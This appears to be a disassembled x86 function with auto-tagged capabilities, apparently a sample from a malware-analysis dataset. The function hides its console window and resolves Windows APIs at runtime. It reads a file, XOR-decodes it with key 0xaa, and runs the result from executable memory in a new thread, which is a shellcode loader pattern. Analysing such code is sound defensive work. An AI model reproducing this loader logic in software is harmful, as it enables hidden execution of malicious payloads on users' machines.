Function at 0x401230
Capabilities:
Encode data using xor
Hide graphical window
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403618
mov eax, dword fs:[0]
push eax
sub esp, 0xec
mov eax, dword [0x406040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.LoadLibraryA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.kernel32.dll
call eax
mov esi, eax
push str.VirtualAlloc
push esi
call edi
push str.VirtualFree
push esi
mov dword [ebp - 0xe8], eax
call edi
push str.CreateThread
push esi
mov dword [ebp - 0xf0], eax
call edi
push str.WaitForSingleObject
push esi
mov dword [ebp - 0xec], eax
call edi
push 0xb8
mov dword [ebp - 0xf8], eax
lea eax, [ebp - 0xe0]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push ecx
lea ecx, [ebp - 0xe0]
call fcn.00402140
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0xe0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
push 0
push 0
push 0
mov ecx, dword [eax + 8]
add ecx, dword [eax]
mov dword [ebp - 0xe4], ecx
mov ecx, dword [eax + 0xc]
adc ecx, dword [eax + 4]
mov dword [ebp - 0xf4], ecx
lea ecx, [ebp - 0xe0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
xor eax, eax
mov dword [ebp - 0x14], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xe4]
xor esi, esi
xor edi, edi
movq qword [ebp - 0x1c], xmm0
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], edi
test eax, eax
je 0x4013b7
cmp eax, 0x7fffffff
ja 0x401531
cmp eax, 0x1000
jb 0x401386
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x401536
push ecx
call fcn.004028ac
add esp, 4
test eax, eax
je 0x4014f9
lea esi, [eax + 0x23]
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x401391
push eax
call fcn.004028ac
add esp, 4
mov esi, eax
mov ecx, dword [ebp - 0xe4]
push ecx
push 0
push esi
lea edi, [esi + ecx]
mov dword [ebp - 0x1c], esi
mov eax, edi
mov dword [ebp - 0x14], eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp - 0xe4]
add esp, 0xc
mov dword [ebp - 0x18], edi
push dword [ebp - 0xf4]
lea ecx, [ebp - 0xe0]
mov byte [ebp - 4], 1
push eax
push esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
lea ecx, [ebp - 0xd0]
call fcn.00402520
test eax, eax
jne 0x4013f6
push eax
mov eax, dword [ebp - 0xe0]
lea ecx, [ebp - 0xe0]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
movaps xmm2, xmmword [0x404370]
mov eax, 0
sub edi, esi
je 0x40145c
cmp edi, 0x40
jb 0x401453
mov edx, edi
lea ecx, [esi + 0x20]
and edx, 0xffffffc0
movups xmm0, xmmword [ecx - 0x20]
lea ecx, [ecx + 0x40]
add eax, 0x40
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [ecx - 0x60], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [ecx - 0x50]
xorps xmm0, xmm2
movups xmmword [ecx - 0x50], xmm0
movups xmm0, xmmword [ecx - 0x40]
xorps xmm0, xmm2
movups xmmword [ecx - 0x40], xmm0
movups xmm0, xmmword [ecx - 0x30]
xorps xmm1, xmm0
movups xmmword [ecx - 0x30], xmm1
cmp eax, edx
jb 0x401413
cmp eax, edi
jae 0x40145c
xor byte [eax + esi], 0xaa
inc eax
cmp eax, edi
jb 0x401453
push 0x40
push 0x1000
push edi
push 0
call dword [ebp - 0xe8]
push edi
mov edi, eax
mov dword [ebp - 0xe8], eax
push esi
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 0
push 0
push edi
push 0x401220
push 0
push 0
call dword [ebp - 0xec]
mov dword [ebp - 0xec], eax
test eax, eax
jne 0x4014b1
push 0x8000
push eax
push edi
call dword [ebp - 0xf0]
mov edi, 1
jmp 0x4014d6
push 0xffffffffffffffff
push eax
call dword [ebp - 0xf8]
push 0x8000
push 0
push edi
call dword [ebp - 0xf0]
push dword [ebp - 0xec]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
test esi, esi
je 0x401509
mov ecx, dword [ebp - 0x14]
mov eax, esi
sub ecx, esi
cmp ecx, 0x1000
jb 0x4014ff
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4014ff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push esi
call fcn.004028dc
add esp, 8
lea ecx, [ebp - 0xe0]
call fcn.00401540
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040289e
mov esp, ebp
pop ebp
ret
call fcn.00402800
call fcn.004010d0
int3